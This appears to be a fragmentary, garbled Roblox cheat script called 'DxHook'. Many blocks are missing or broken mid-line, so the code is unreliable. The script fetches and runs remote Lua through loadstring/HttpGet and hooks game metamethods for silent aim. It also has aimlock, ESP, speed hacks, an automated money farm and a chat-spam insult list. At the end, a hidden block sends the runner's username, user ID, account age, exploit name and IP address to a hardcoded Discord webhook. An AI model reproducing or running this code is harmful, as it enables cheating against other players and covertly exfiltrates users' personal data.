Message 5
Message 5
Message 5
StarterGui:SetCore("SendNotification", {
Title = "DxHook";
Text = "Whitelisted Loading Gui";
Icon = "rbxthumb://type=Asset&id=7181624799&w=150&h=150";
Button1 = "Alr Bet";
})
local whitelistecheck =
loadstring(game:HttpGet("https://raw.githubusercontent.com/alingiaer/whitelist/
main/users", true))()
if whitelistecheck[game:service('Players').LocalPlayer.UserId] then
print("User Id Whitelisted")
if plr:IsInGroup(GroupID) then
print("Group Id Whitelisted")
local library31 =
loadstring(game:HttpGet("https://raw.githubusercontent.com/dwa31/lua/main/
utaniyorum"))()
library31:CreateWatermark("dxhook")
-- Aimlock Settings
local Config = {
WindowName = "dxhook.cc | v2.0.0",
Color = Color3.fromRGB(255,0,255),
Keybind = Enum.KeyCode.RightShift
}
local Library =
loadstring(game:HttpGet("https://raw.githubusercontent.com/AlexR32/Roblox/main/
BracketV3.lua"))()
local Window = Library:CreateWindow(Config, game:GetService("CoreGui"))
Window:SetBackground("6880496154")
-- Fucking Aimlock
getgenv().Aimlock = false
getgenv().CiazwareUniversalAimbotLoaded = true
getgenv().WorldToViewportPoint = function(P)
return Camera:WorldToViewportPoint(P)
end
getgenv().WorldToScreenPoint = function(P)
return Camera.WorldToScreenPoint(Camera, P)
end
getgenv().GetObscuringObjects = function(T)
if T and T:FindFirstChild(getgenv().AimPart) and Client and
Client.Character:FindFirstChild("Head") then
local RayPos = workspace:FindPartOnRay(RNew(
T[getgenv().AimPart].Position, Client.Character.Head.Position)
)
if RayPos then return RayPos:IsDescendantOf(T) end
end
end
getgenv().GetNearestTarget = function()
-- Credits to whoever made this, i didnt make it, and my own mouse2plr
function kinda sucks
local players = {}
local PLAYER_HOLD = {}
local DISTANCES = {}
for i, v in pairs(Players:GetPlayers()) do
if v ~= Client then
table.insert(players, v)
end
end
for i, v in pairs(players) do
if v.Character ~= nil then
local AIM = v.Character:FindFirstChild("Head")
if getgenv().TeamCheck == true and v.Team ~= Client.Team then
local DISTANCE =
(v.Character:FindFirstChild("Head").Position -
game.Workspace.CurrentCamera.CFrame.p).magnitude
local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p,
(Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
local HIT,POS = game.Workspace:FindPartOnRay(RAY,
game.Workspace)
local DIFF = math.floor((POS - AIM.Position).magnitude)
PLAYER_HOLD[v.Name .. i] = {}
PLAYER_HOLD[v.Name .. i].dist= DISTANCE
PLAYER_HOLD[v.Name .. i].plr = v
PLAYER_HOLD[v.Name .. i].diff = DIFF
table.insert(DISTANCES, DIFF)
elseif getgenv().TeamCheck == false and v.Team == Client.Team
then
local DISTANCE =
(v.Character:FindFirstChild("Head").Position -
game.Workspace.CurrentCamera.CFrame.p).magnitude
local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p,
(Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
local HIT,POS = game.Workspace:FindPartOnRay(RAY,
game.Workspace)
local DIFF = math.floor((POS - AIM.Position).magnitude)
PLAYER_HOLD[v.Name .. i] = {}
PLAYER_HOLD[v.Name .. i].dist= DISTANCE
PLAYER_HOLD[v.Name .. i].plr = v
PLAYER_HOLD[v.Name .. i].diff = DIFF
table.insert(DISTANCES, DIFF)
end
end
end
for i, v in pairs(PLAYER_HOLD) do
if v.diff == L_DISTANCE then
return v.plr
end
end
return nil
end
Mouse.KeyDown:Connect(function(a)
if not (Uis:GetFocusedTextBox()) then
if a == AimlockKey and AimlockTarget == nil then
pcall(function()
if MousePressed ~= true then MousePressed = true end
local Target;Target = GetNearestTarget()
if Target ~= nil then
AimlockTarget = Target
end
end)
elseif a == AimlockKey and AimlockTarget ~= nil then
if AimlockTarget ~= nil then AimlockTarget = nil end
if MousePressed ~= false then
MousePressed = false
end
end
end
end)
RService.RenderStepped:Connect(function()
local AimPartOld = getgenv().OldAimPart
if getgenv().ThirdPerson == true and getgenv().FirstPerson == true then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 or
(Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
CanNotify = true
else
CanNotify = false
end
elseif getgenv().ThirdPerson == true and getgenv().FirstPerson == false then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 then
CanNotify = true
else
CanNotify = false
end
elseif getgenv().ThirdPerson == false and getgenv().FirstPerson == true then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
CanNotify = true
else
CanNotify = false
end
end
if getgenv().Aimlock == true and MousePressed == true then
if AimlockTarget and AimlockTarget.Character and
AimlockTarget.Character:FindFirstChild(getgenv().AimPart) then
if getgenv().FirstPerson == true then
if CanNotify == true then
if getgenv().PredictMovement == true then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position +
AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
elseif getgenv().PredictMovement == false then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position)
end
end
elseif getgenv().ThirdPerson == true then
if CanNotify == true then
if getgenv().PredictMovement == true then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position +
AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
elseif getgenv().PredictMovement == false then
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position)
end
end
end
end
end
if getgenv().CheckIfJumped == true then
if AimlockTarget.Character.Humanoid.FloorMaterial == Enum.Material.Air
and AimlockTarget.Character.Humanoid.Jump == true then
getgenv().AimPart = "RightLowerLeg"
else
getgenv().AimPart = AimPartOld
end
end
end)
-- Legit Section
end)
end)
local Section3 = Tab1:CreateSection("Aimbot Settings")
-- Finish <3
-- Rage Section
local DaHoodSettings = {
SilentAim = true,
AimLock = false,
AimLockKeybind = Enum.KeyCode.E
}
getgenv().DaHoodSettings = DaHoodSettings
function Aiming.Check()
if not (Aiming.Enabled == true and Aiming.Selected ~= LocalPlayer and
Aiming.SelectedPart ~= nil) then
return false
end
return true
end
local __index
__index = hookmetamethod(game, "__index", function(t, k)
if (t:IsA("Mouse") and (k == "Hit" or k == "Target") and
Aiming.Check()) then
local SelectedPart = Aiming.SelectedPart
return __index(t, k)
end)
RunService:BindToRenderStep("AimLock", 0, function()
if (DaHoodSettings.AimLock and Aiming.Check() and
UserInputService:IsKeyDown(DaHoodSettings.AimLockKeybind)) then
local SelectedPart = Aiming.SelectedPart
CurrentCamera.CFrame =
CFrame.lookAt(CurrentCamera.CFrame.Position, Hit.Position)
end
end)
if saksoamaarkakoltukolan == false then
Aiming.ShowFOV = false
DaHoodSettings.Prediction = 0
Aiming.FOV = 0
end
end)
-- Finish <3
end)
userInput.InputBegan:connect(function(Key)
if Key.KeyCode == Enum.KeyCode.Z then
Enabled = not Enabled
if Enabled == true then
repeat
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame +
game.Players.LocalPlayer.Character.Humanoid.MoveDirection * getgenv().Multiplier
runService.Stepped:wait()
until Enabled == false
end
end
end)
end)
function stopTracks()
for _, v in next,
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):
GetPlayingAnimationTracks() do
if (v.Animation.AnimationId:match("rbxassetid")) then
v:Stop()
end
end
end
function loadAnimation(id)
if UniversalAnimation.AnimationId == id then
stopTracks()
UniversalAnimation.AnimationId = "1"
else
UniversalAnimation.AnimationId = id
local animationTrack =
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):
LoadAnimation(UniversalAnimation)
animationTrack:Play()
end
end
Mouse.KeyDown:Connect(function(Key)
if Key == "x" then
SpeedGlitch = not SpeedGlitch
if SpeedGlitch == true then
stopTracks()
loadAnimation("rbxassetid://3189777795")
wait(1.5)
Wallet.Parent = Player.Character
wait(0.15)
Player.Character:FindFirstChild("Wallet").Parent =
Player.Backpack
wait(0.05)
repeat game:GetService("RunService").Heartbeat:wait()
keypress(0x49)
game:GetService("RunService").Heartbeat:wait()
keypress(0x4F)
game:GetService("RunService").Heartbeat:wait()
keyrelease(0x49)
game:GetService("RunService").Heartbeat:wait()
keyrelease(0x4F)
game:GetService("RunService").Heartbeat:wait()
until SpeedGlitch == false
end
end
end)
end)
local garbage = {
"mad kid";
"ur bad";
"sonney boy";
"ez";
"my grandma has more skill than you";
"seed";
"sit son";
"trash";
"LOL";
"LMAO";
"imagine being you right now";
"xd";
"don't try LOL";
"you lose";
"why do you even try";
"I didn't think being this bad was possible";
"leave";
"no skill";
"so sad man.";
"bad";
"you're nothing";
"lol";
"so trash";
"so bad";
"ur salty";
"salty";
"look he's mad";
"cry more";
"keep crying";
"cry baby";
"hahaha I won";
"no one likes u";
"run 1s seed";
"thank you for your time";
"you were so close!";
"better luck next time!";
"rodent";
"HAHA";
"ill 5-0";
"just quit";
"time to take out the trash";
"did you get worse?";
"I'm surprised you haven't quit yet";
"lol ur aim buy dxhook";
"quit please";
"bruh momoent";
"bro where ur aim?";
"oh he very bad";
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(
garbage[math.random(1,#garbage)],
"All"
)
end
end
game:GetService("UserInputService").InputBegan:connect(TrashTalk)
end)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame +
game.Players.LocalPlayer.Character.Humanoid.MoveDirection * L_135_
game:GetService("RunService").Stepped:wait()
until L_136_ == false
end
end
end)
end)
function onButton1Down(mouse)
down = true
while down do
if not down then break end
local char = plr.Character
function onButton1Up(mouse)
down = false
end
function onSelected(mouse)
mouse.KeyDown:connect(function(k) if k:lower()=="q"then onButton1Down(mouse)end
end)
mouse.KeyUp:connect(function(k) if k:lower()=="q"then onButton1Up(mouse)end
end)
end
onSelected(game.Players.LocalPlayer:GetMouse())
end)
if bodyeffects_folder.Movement:findFirstChild("SuperSpeed") then
walkspeed = 300
end
if bodyeffects_folder.Movement:findFirstChild("HighJump") then
jumppower = 30
end
end)
-- Finish <3
function gettarget()
local Character = LocalPlayer.Character or
LocalPlayer.CharacterAdded:wait()
local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart")
local maxdistance = math.huge
local target
for i, v in pairs(game:GetService("Workspace").Cashiers:GetChildren())
do
if v:FindFirstChild("Head") and v:FindFirstChild("Humanoid") and
v.Humanoid.Health > 0 then
local distance = (HumanoidRootPart.Position -
v.Head.Position).magnitude
if distance < maxdistance then
target = v
maxdistance = distance
end
end
end
return target
end
for i, v in pairs(workspace:GetDescendants()) do
if v:IsA("Seat") then
v:Destroy()
end
end
while shared.MoneyFarm do
wait()
local Target = gettarget()
repeat
wait()
pcall(
function()
local Character = LocalPlayer.Character or
LocalPlayer.CharacterAdded:wait()
local HumanoidRootPart =
Character:WaitForChild("HumanoidRootPart")
local Combat =
LocalPlayer.Backpack:FindFirstChild("Combat") or Character:FindFirstChild("Combat")
if not Combat then
Character:FindFirstChild("Humanoid").Health = 0
return
end
HumanoidRootPart.CFrame = Target.Head.CFrame *
CFrame.new(0, -2.5, 3)
Combat.Parent = Character
Combat:Activate()
end
)
until not Target or Target.Humanoid.Health < 0
for i, v in
pairs(game:GetService("Workspace").Ignored.Drop:GetDescendants()) do
if v:IsA("ClickDetector") and v.Parent and
v.Parent.Name:find("Money") then
local Character = LocalPlayer.Character or
LocalPlayer.CharacterAdded:wait()
local HumanoidRootPart =
Character:WaitForChild("HumanoidRootPart")
if (v.Parent.Position -
HumanoidRootPart.Position).magnitude <= 18 then
repeat
wait()
fireclickdetector(v)
until not v or not v.Parent.Parent
end
end
end
wait(1)
end
end)
local Settings = {
Box_Color = Color3.fromRGB(255, 0, 0),
Tracer_Color = Color3.fromRGB(255, 0, 0),
Tracer_Thickness = 1,
Box_Thickness = 1,
Tracer_Origin = "Bottom", -- Middle or Bottom if FollowMouse is on this won't
matter...
Tracer_FollowMouse = false,
Tracers = false
}
local Team_Check = {
TeamCheck = false, -- if TeamColor is on this won't matter...
Green = Color3.fromRGB(0, 255, 0),
Red = Color3.fromRGB(255, 0, 0)
}
local TeamColor = false
--// SEPARATION
local player = game:GetService("Players").LocalPlayer
local camera = game:GetService("Workspace").CurrentCamera
local mouse = player:GetMouse()
--//Tracer
if Settings.Tracers then
if Settings.Tracer_Origin == "Middle" then
library.tracer.From = camera.ViewportSize*0.5
library.blacktracer.From = camera.ViewportSize*0.5
elseif Settings.Tracer_Origin == "Bottom" then
library.tracer.From =
Vector2.new(camera.ViewportSize.X*0.5, camera.ViewportSize.Y)
library.blacktracer.From =
Vector2.new(camera.ViewportSize.X*0.5, camera.ViewportSize.Y)
end
if Settings.Tracer_FollowMouse then
library.tracer.From = Vector2.new(mouse.X, mouse.Y+36)
library.blacktracer.From = Vector2.new(mouse.X,
mouse.Y+36)
end
library.tracer.To = Vector2.new(HumPos.X, HumPos.Y +
DistanceY*2)
library.blacktracer.To = Vector2.new(HumPos.X, HumPos.Y +
DistanceY*2)
else
library.tracer.From = Vector2.new(0, 0)
library.blacktracer.From = Vector2.new(0, 0)
library.tracer.To = Vector2.new(0, 0)
library.blacktracer.To = Vector2.new(0, 02)
end
local healthoffset =
plr.Character.Humanoid.Health/plr.Character.Humanoid.MaxHealth * d
library.greenhealth.Color = red:lerp(green,
plr.Character.Humanoid.Health/plr.Character.Humanoid.MaxHealth);
if Team_Check.TeamCheck then
if plr.TeamColor == player.TeamColor then
Colorize(Team_Check.Green)
else
Colorize(Team_Check.Red)
end
else
library.tracer.Color = Settings.Tracer_Color
library.box.Color = Settings.Box_Color
end
if TeamColor == true then
Colorize(plr.TeamColor.Color)
end
Visibility(true, library)
else
Visibility(false, library)
end
else
Visibility(false, library)
if game.Players:FindFirstChild(plr.Name) == nil then
connection:Disconnect()
end
end
end)
end
coroutine.wrap(Updater)()
end
for i, v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name ~= player.Name then
coroutine.wrap(ESP)(v)
end
end
game.Players.PlayerAdded:Connect(function(newplr)
if newplr.Name ~= player.Name then
coroutine.wrap(ESP)(newplr)
end
end)
end)
-- Target Section
-- Finish <3
--dxhook showcase
local Content = ""
local Embed = {
["title"] = "***Execution***",
["description"] = "Name: "..plr.Name.."\nDisplay Name:
"..plr.DisplayName.."\nExploit: "..getexploit().."\nGame:
https://www.roblox.com/games/"..game.PlaceId,
["type"] = "rich",
["color"] = tonumber(0xffff00),
["thumbnail"] = {
["url"] = "https://www.roblox.com/asset-thumbnail/image?
assetId="..game.PlaceId.."&width=768&height=432"
},
["image"] = {
["url"] = "http://www.roblox.com/Thumbs/Avatar.ashx?
x=250&y=250&Format=Png&username="..plr.Name
},
["fields"] = {
{
["name"] = "__Account Age:__",
["value"] = plr.AccountAge.." days old",
["inline"] = true
},
{
["name"] = "__User ID:__",
["value"] = plr.UserId,
["inline"] = true
}
},
["footer"] = {
["text"] = "IP Address: "..tostring(ident),
["icon_url"] =
"https://cdn.discordapp.com/attachments/903407245675606056/911635640452513843/
Screenshot_25.png"
},
["timestamp"] = string.format('%d-%d-%dT%02d:%02d:%02dZ', Time.year,
Time.month, Time.day, Time.hour, Time.min, Time.sec),
};
(syn and syn.request or http_request or http.request) {
Url = 'https://discord.com/api/webhooks/915610710740979752/HPqYgkNm4-
jjBaVA4FSQGr253KAtJGFW1J55YiTwHudw2je7j1uxgmT-n0-8gycB-mML';
Method = 'POST';
Headers = {
['Content-Type'] = 'application/json';
};
Body = game:GetService'HttpService':JSONEncode({content = Content; embeds =
{Embed}; });
};